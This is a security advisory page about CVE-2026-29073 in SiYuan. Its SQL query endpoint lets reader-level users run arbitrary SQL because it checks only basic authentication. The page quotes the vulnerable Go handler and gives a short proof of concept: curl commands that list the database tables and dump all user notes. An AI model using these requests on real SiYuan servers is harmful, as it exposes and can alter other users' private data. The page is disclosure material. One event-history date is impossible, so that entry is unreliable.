CVE-2026-29073: SiYuan: Direct SQL Query API accessible to Reader-level users enables unauthorized database access

Published Mar 3, 2026
·
Updated

Summary /api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

go func SQL(c gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret)

arg, ok := util.JsonArg(c, ret) if !ok { return }

stmt := arg["stmt"].(string) result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions }

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on

bash

List out all tables in the database

curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT name, type FROM sqlitemaster WHERE type='"'"'table'"'"'"}'

Extract all user content from the database

curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact - High impact, reader users can query all data in the db including other users notes - SQL api is mostly for select queries, but without validation, writes can still happen - Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

Other sources

SiYuan is a personal knowledge management system. Prior to version 3.6.0, the /api/query/sql lets a user run sql directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any sql query on the database. This issue has been patched in version 3.6.0.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260113130602-4ba64580c29c
b3log SiYuan<=3.5.9

Event History

Mar 3, 2026
Advisory Published
via GitHub·09:17 PM
Data Sourced
via GitHub·09:17 PM
DescriptionWeaknessAffected Software
Mar 6, 2026
CVE Published
via MITRE·07:18 AM
Data Sourced
via MITRE·07:18 AM
DescriptionWeakness
Data Sourced
via NVD·08:16 AM
DescriptionSeverityWeaknessAffected Software
Aug 26, 58161
Event
via FIRST·05:04 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-29073?

CVE-2026-29073 has a high severity rating due to unauthorized database access being possible for reader-level users.

2

How do I fix CVE-2026-29073?

To fix CVE-2026-29073, you should restrict SQL query access to only authorized admin-level users by implementing proper access controls.

3

What versions are affected by CVE-2026-29073?

CVE-2026-29073 affects SiYuan versions up to 3.5.9 and specific versions of the Go package up to 0.0.0-20260113130602-4ba64580c29c.

4

What kind of access does CVE-2026-29073 allow?

CVE-2026-29073 allows unauthorized users, including those with reader-level permissions, to execute any SQL query on the database.

5

Is this vulnerability present in all SiYuan installations?

CVE-2026-29073 is present in installations of SiYuan that utilize the affected versions mentioned.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203